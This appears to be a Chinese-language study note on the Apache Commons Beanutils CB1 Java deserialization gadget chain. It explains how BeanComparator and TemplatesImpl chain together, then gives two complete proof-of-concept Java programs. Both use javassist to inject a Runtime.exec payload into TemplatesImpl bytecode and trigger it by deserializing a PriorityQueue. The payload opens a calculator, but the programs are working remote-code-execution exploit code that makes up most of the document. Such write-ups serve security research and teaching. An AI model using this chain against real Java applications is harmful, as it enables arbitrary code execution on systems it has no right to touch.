简介

Apache Commons Beanutils是 Apache Commons工具集中的另一个项目,它提供对 javaBean 的一些操作,javaBean的用于映射数据库的。

环境

CB1 类似于CC2,利用优先级队列触发comparator的compare方法,其中需要以下依赖

  1. <dependency>
  2. <groupId>commons-collections</groupId>
  3. <artifactId>commons-collections</artifactId>
  4. <version>3.1</version>
  5. </dependency>
  6. <!-- https://mvnrepository.com/artifact/commons-beanutils/commons-beanutils -->
  7. <dependency>
  8. <groupId>commons-beanutils</groupId>
  9. <artifactId>commons-beanutils</artifactId>
  10. <version>1.9.2</version>
  11. </dependency>
  12. <!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
  13. <dependency>
  14. <groupId>commons-logging</groupId>
  15. <artifactId>commons-logging</artifactId>
  16. <version>1.2</version>
  17. </dependency>

Tips

CB1 类似于CC2,在Commons Beanutils中提供对JavaBean的一些操作,在commons.beanutils的BeanComparator类中,实现了Comparator和Serializable接口,如下为BeanComparator#compare方法,当this.property为空的时候,则比较o1,o2两个元素,否则则调用PropertyUtils.getProperty(),当o1为对象A,this.property为name,则此时PropertyUtils.getProperty方法会调用A.getName方法

  1. public int compare(T o1, T o2) {
  2. if (this.property == null) {
  3. return this.internalCompare(o1, o2);
  4. } else {
  5. try {
  6. Object value1 = PropertyUtils.getProperty(o1, this.property);
  7. Object value2 = PropertyUtils.getProperty(o2, this.property);
  8. return this.internalCompare(value1, value2);
  9. } catch (IllegalAccessException var5) {
  10. throw new RuntimeException("IllegalAccessException: " + var5.toString());
  11. } catch (InvocationTargetException var6) {
  12. throw new RuntimeException("InvocationTargetException: " + var6.toString());
  13. } catch (NoSuchMethodException var7) {
  14. throw new RuntimeException("NoSuchMethodException: " + var7.toString());
  15. }
  16. }
  17. }

在TemplatesImpl中,可以看到在getOutputProperties()方法中,调用了newTransformer()方法,

  1. public synchronized Properties getOutputProperties() {
  2. try {
  3. return newTransformer().getOutputProperties();
  4. }
  5. catch (TransformerConfigurationException e) {
  6. return null;
  7. }
  8. }

在newTransformer()方法中,调用getTransletInstance()方法,只要_name不为null,_class为null,_bytecode为我们的恶意字节码,那么攻击就能成功

  1. public synchronized Transformer newTransformer()
  2. throws TransformerConfigurationException
  3. {
  4. TransformerImpl transformer;
  5. transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
  6. _indentNumber, _tfactory);
  7. if (_uriResolver != null) {
  8. transformer.setURIResolver(_uriResolver);
  9. }
  10. if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
  11. transformer.setSecureProcessing(true);
  12. }
  13. return transformer;
  14. }

那么总结一下,就是如下几点:

  1. BeanComparator@property = outputProperties
  2. TemplatesImpl@_name != null
  3. TemplatesImpl@_bytecodes = 恶意字节码
  4. queue.length >= 2
  5. queue 需要第一次赋值用于序列化,第二次赋值则是反射将对应的恶意字节码放入对应的队列中
  6. comparator 可以先不用放在构造函数中,最后再反射加入queue实例的成员变量中

    POC

    ```java package com.cb1;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.math.BigInteger; import java.util.PriorityQueue;

public class TestCB1 { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass(“Cat”); String cmd = “java.lang.Runtime.getRuntime().exec(\”open /System/Applications/Calculator.app\”);”; cc.makeClassInitializer().insertBefore(cmd); String randomName = “EvilCat”+System.nanoTime(); cc.setName(randomName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classByte = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classByte}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field field = templates.getClass().getDeclaredField(“_bytecodes”); field.setAccessible(true); field.set(templates,targetByteCodes); Field fieldName = templates.getClass().getDeclaredField(“_name”); fieldName.setAccessible(true); fieldName.set(templates,”1”);

  1. BeanComparator comparator = new BeanComparator("lowestSetBit");
  2. PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
  3. queue.add(new BigInteger("1"));
  4. queue.add(new BigInteger("1"));
  5. Field f = comparator.getClass().getDeclaredField("property");
  6. f.setAccessible(true);
  7. f.set(comparator,"outputProperties");
  8. Field f2 = queue.getClass().getDeclaredField("queue");
  9. f2.setAccessible(true);
  10. Object[] queueArray = (Object[]) f2.get(queue);
  11. queueArray[0] = templates;
  12. queueArray[1] = templates;
  13. try{
  14. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  15. ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
  16. objectOutputStream.writeObject(queue);
  17. objectOutputStream.close();
  18. ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
  19. ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
  20. objectInputStream.readObject();
  21. }catch (Exception e){
  22. e.printStackTrace();
  23. }
  24. }

}

  1. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/21929389/1654529842293-819eba9e-f78f-4aab-b9e4-654df3b328ee.png#clientId=ufd70e8b0-83f6-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=1049&id=ub93971fa&margin=%5Bobject%20Object%5D&name=image.png&originHeight=2098&originWidth=3492&originalType=binary&ratio=1&rotation=0&showTitle=false&size=868306&status=done&style=none&taskId=u0f96916d-3332-4e95-9faf-cbd10ddf0e5&title=&width=1746)<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/21929389/1654529855049-6b03424b-d923-4502-b3d3-2e1ffc390d42.png#clientId=ufd70e8b0-83f6-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=1049&id=ub5899bf5&margin=%5Bobject%20Object%5D&name=image.png&originHeight=2098&originWidth=3492&originalType=binary&ratio=1&rotation=0&showTitle=false&size=1074556&status=done&style=none&taskId=u836a350f-e94f-455e-9707-fa89bcd1ef2&title=&width=1746)
  2. <a name="r25hw"></a>
  3. ## POC_1
  4. compartor在最后反射写入其中,正常赋值,只是在最后要进行序列化的时候通过反射将其更改<br />看起来比较多余,相当于对代码进行了review,更明白了反序列化的目的以及反射的高级
  5. ```java
  6. package com.cb1;
  7. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  8. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  9. import javassist.ClassClassPath;
  10. import javassist.ClassPool;
  11. import javassist.CtClass;
  12. import org.apache.commons.beanutils.BeanComparator;
  13. import java.io.*;
  14. import java.lang.reflect.Constructor;
  15. import java.lang.reflect.Field;
  16. import java.util.PriorityQueue;
  17. public class TestCB1_1 {
  18. public static void main(String[] args)throws Exception {
  19. ClassPool pool = ClassPool.getDefault();
  20. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  21. CtClass cc = pool.makeClass("Cat");
  22. String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
  23. cc.makeClassInitializer().insertBefore(cmd);
  24. String randomName = "EvilCat"+System.nanoTime();
  25. cc.setName(randomName);
  26. cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  27. byte[] classByte = cc.toBytecode();
  28. byte[][] targetByteCodes = new byte[][]{classByte};
  29. TemplatesImpl templates = TemplatesImpl.class.newInstance();
  30. Field field = templates.getClass().getDeclaredField("_bytecodes");
  31. field.setAccessible(true);
  32. field.set(templates,targetByteCodes);
  33. Field fieldName = templates.getClass().getDeclaredField("_name");
  34. fieldName.setAccessible(true);
  35. fieldName.set(templates,"1");
  36. PriorityQueue<Object> queue = new PriorityQueue<Object>(2);
  37. queue.add(1);
  38. queue.add(1);
  39. Constructor constructor = Class.forName("org.apache.commons.beanutils.BeanComparator").getDeclaredConstructor();
  40. BeanComparator comparator = (BeanComparator) constructor.newInstance();
  41. Field f = Class.forName("org.apache.commons.beanutils.BeanComparator").getDeclaredField("property");
  42. f.setAccessible(true);
  43. f.set(comparator,"outputProperties");
  44. Field f1 = queue.getClass().getDeclaredField("comparator");
  45. f1.setAccessible(true);
  46. f1.set(queue,comparator);
  47. Field f2 = queue.getClass().getDeclaredField("queue");
  48. f2.setAccessible(true);
  49. Object[] queueArray = (Object[]) f2.get(queue);
  50. queueArray[0] = templates;
  51. try{
  52. FileOutputStream fileOutputStream = new FileOutputStream("cb1.ser");
  53. ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
  54. objectOutputStream.writeObject(queue);
  55. FileInputStream fileInputStream = new FileInputStream("cb1.ser");
  56. ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
  57. objectInputStream.readObject();
  58. }catch (Exception e){
  59. e.printStackTrace();
  60. }
  61. }
  62. }